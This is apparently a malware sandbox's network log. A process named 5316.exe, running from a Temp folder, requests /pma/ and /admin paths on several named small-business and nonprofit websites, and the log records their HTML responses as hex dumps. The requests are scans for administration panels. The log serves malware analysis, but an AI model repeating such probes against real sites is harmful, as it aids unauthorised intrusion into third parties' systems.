--><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	52229	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	178	OUT	GET /pma/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	575	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:40 GMT X-Served-By: cache-gnv1820032-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038420.172578,VS0,VE49 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:40 UTC	1378	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:40 UTC	1378	IN	Data Raw: 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 65 78 70 65 72 69 65 6e 63 65 Data Ascii: e="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of experience
2023-12-20 02:13:40 UTC	1378	IN	Data Raw: 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 Data Ascii: t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1;o<t.length;o++){var
2023-12-20 02:13:40 UTC	121	IN	Data Raw: 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ipt src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	52324	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	179	OUT	GET /admin HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	580	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:40 GMT X-Served-By: cache-pdk-kpdk1780044-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038420.241957,VS0,VE41 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:40 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:40 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:40 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:40 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	52367	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	403	OUT	GET /pma/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	752	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/pma/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fIneDkDehJNbiuth89jS1vRY0Pr%2FTEWRKvwnEZeElJWgWCEawlLGWdnoNt7H9mwKbX8L9LNZnh%2B8Iq5ebWGJ4Ybmu%2FkztF%2FFX0zdP5c5HA05ufztekXV8OjrTftx1JbA%2FiJfpy93rIecvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e0edfcf8dca-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	52366	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	404	OUT	GET /admin HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	753	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/admin Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z%2B1aoMDA%2FQm6IGp4Rq8KAv0m0RrFz10IW%2FsfkF29Urbo0jIqIS7SjILX5sfttlNHjA4RdMdpbedqha8LU9BROZTdYM1B7Q%2FdiwDRVwr7Cnzff2XW3ox1NkNxzr7t9QyXi5O2efaQwZ%2B2iw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e0ed8cb2245-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	52048	34.133.154.140	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 7 X-Cache-Group: normal
2023-12-20 02:13:40 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:40 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:40 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:40 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
2023-12-20 02:13:40 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	52448	198.185.159.144	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	174	OUT	GET /admin/ HTTP/1.1 Host: www.qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	539	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:40 GMT Etag: W/"d3b928bd5836fb6282df4e5a69977809" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BVXhLADRkmopMTRlMTM1ODJjOGZlZThhNTRkOTA2OTVhNWQzZTk0;Secure;Path=/ Strict-Transport-Security: max-age=15552000 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: htlDMeAK/GQqJ7QaH X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:40 UTC	647	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:40 UTC	2372	IN	Data Raw: 63 6f 6e 2e 69 63 6f 3f 66 6f 72 6d 61 74 3d 31 30 30 77 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 69 6d 61 67 65 73 2e 73 71 75 61 72 65 73 70 61 63 65 2d 63 64 6e 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 76 31 2f 36 31 65 Data Ascii: con.ico?format=100w"/><meta property="og:site_name" content="Qi Habitats"/><meta property="og:title" content="Qi Habitats"/><meta property="og:type" content="website"/><meta property="og:image" content="http://images.squarespace-cdn.com/content/v1/61e
